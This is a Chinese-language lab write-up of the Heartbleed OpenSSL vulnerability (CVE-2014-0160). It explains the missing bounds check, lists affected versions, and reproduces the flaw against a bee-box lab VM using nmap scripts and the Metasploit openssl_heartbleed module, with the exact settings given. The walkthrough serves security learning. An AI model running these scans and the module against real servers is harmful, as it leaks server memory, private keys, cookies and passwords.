漏洞简介
心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。
漏洞成因
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
影响版本
- OpenSSL 1.0.2-beta
- OpenSSL 1.0.1 - OpenSSL 1.0.1f
不影响的版本
- OpenSSL 1.0.2-beta2(将来版本)
- OpenSSL 1.0.1g
- OpenSSL 1.0.0(及1.0.0的分支版本)
- OpenSSL 0.9.8(及0.9.8的分支版本)
漏洞复现
靶机为bwapp的集成环境bee-box虚拟机的A6的Heartbleed Vulnerability漏洞环境。
首先使用nmap对其进行扫描,发现443端口和8443端口均使用了ssl服务。但是443端口检测到的openssl版本为0.9.8g版本,不存在心脏滴血漏洞,而8443端口并没有检测出openssl的版本,即可能存在心脏滴血漏洞。
nmap -sV -T4 192.168.174.131
然后便使用nmap中心脏滴血漏洞的脚本对其进行检测:发现存在该心脏滴血漏洞。
nmap -p8443 --script=ssl-heartbleed.nse 192.168.174.131
也可以使用如下脚本检测:
nmap -p8443 --script=vuln 192.168.174.131
然后使用msf对其进行验证:
search CVE-2014-0160
use auxiliary/scanner/ssl/openssl_heartbleed
查看需要设置的参数:
show options
设置参数:
set rhosts 192.168.174.131
set rport 8443
set verbose true //该参数要设置成true才能看到泄露的信息
成功复现:
漏洞危害
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
修复建议
使用无漏洞的版本
参考文章
https://www.freebuf.com/articles/web/31700.html